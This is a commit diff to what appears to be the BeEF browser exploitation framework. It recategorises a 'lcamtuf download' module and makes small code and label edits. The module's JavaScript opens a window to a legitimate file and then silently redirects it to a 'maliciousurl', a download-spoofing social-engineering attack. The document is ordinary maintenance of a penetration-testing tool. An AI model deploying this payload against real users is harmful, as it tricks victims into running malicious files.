Moved lcamtuf download module to social engineering category
This commit is contained in:
@@ -21,12 +21,11 @@ beef.execute(function() {
|
||||
|
||||
function doit() {
|
||||
|
||||
if (navigator.userAgent.indexOf('MSIE') == -1){
|
||||
if (!beef.browser.isIE()) {
|
||||
w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=' + realurl + '">', 'foo');
|
||||
|
||||
setTimeout(donext, 4500);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
function donext() {
|
||||
window.open(maliciousurl, 'foo');
|
||||
@@ -34,5 +33,5 @@ beef.execute(function() {
|
||||
once = true;
|
||||
}
|
||||
doit();
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command executed");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Command executed");
|
||||
});
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
lcamtuf_download:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
category: "Social Engineering"
|
||||
name: "Lcamtuf Download"
|
||||
description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative <i>Content-Disposition: attachment</i> header. For more information please refer to <a href='http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html'>http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html</a> ."
|
||||
authors: ["Bart Leppens"]
|
||||
@@ -18,7 +18,6 @@ class Lcamtuf_download < BeEF::Core::Command
|
||||
# set and return all options for this module
|
||||
def self.options
|
||||
|
||||
|
||||
return [{
|
||||
'name' => 'real_file_uri',
|
||||
'description' => 'The web accessible URI for the real file.',
|
||||
@@ -33,7 +32,7 @@ class Lcamtuf_download < BeEF::Core::Command
|
||||
'value' => '',
|
||||
'width' => '300px'
|
||||
},
|
||||
{ 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Once', 'store_type' => 'arraystore',
|
||||
{ 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Run Once', 'store_type' => 'arraystore',
|
||||
'store_fields' => ['do_once'], 'store_data' => [['false'],['true']],
|
||||
'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true
|
||||
}]
|
||||
Reference in New Issue
Block a user